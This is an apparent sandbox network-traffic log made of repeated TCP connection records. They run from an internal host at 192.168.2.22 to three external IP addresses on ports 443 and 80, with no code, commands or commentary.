Source: global traffic	TCP traffic: 192.168.2.22:49204 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49204 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49204 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49204 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49204 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49206 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49206 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49206 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49206 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49206 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49206 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49206 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49209 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49209 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49209 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49209 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49209 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49210 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49210 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49210 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49209 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49209 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49210 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49210 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49210 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49210 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49212 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49212 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49212 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49212 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49212 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49212 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49212 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49215 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49215 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49215 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49215 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49215 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49216 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49216 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49216 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49215 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49215 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49216 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49216 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49216 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49216 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49218 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49218 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49218 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49218 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49218 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49218 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49218 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49219 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49219 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49219 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49219 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49219 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49219 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49219 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49221 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49221 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49221 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49221 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49221 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49221 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49221 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49223 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49223 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49223 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49223 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49223 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49223 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49223 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49224 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49224 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49224 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49224 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49224 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49224 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49224 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49224 -> 149.154.167.220:443

Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 159.203.133.15:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 159.203.133.15:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 159.203.133.15:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 159.203.133.15:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 159.203.133.15:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 159.203.133.15:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 159.203.133.15:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 159.203.133.15:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 159.203.133.15:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 159.203.133.15:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 159.203.133.15:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 159.203.133.15:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 159.203.133.15:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 159.203.133.15:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 159.203.133.15:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 159.203.133.15:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 159.203.133.15:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 159.203.133.15:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 159.203.133.15:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
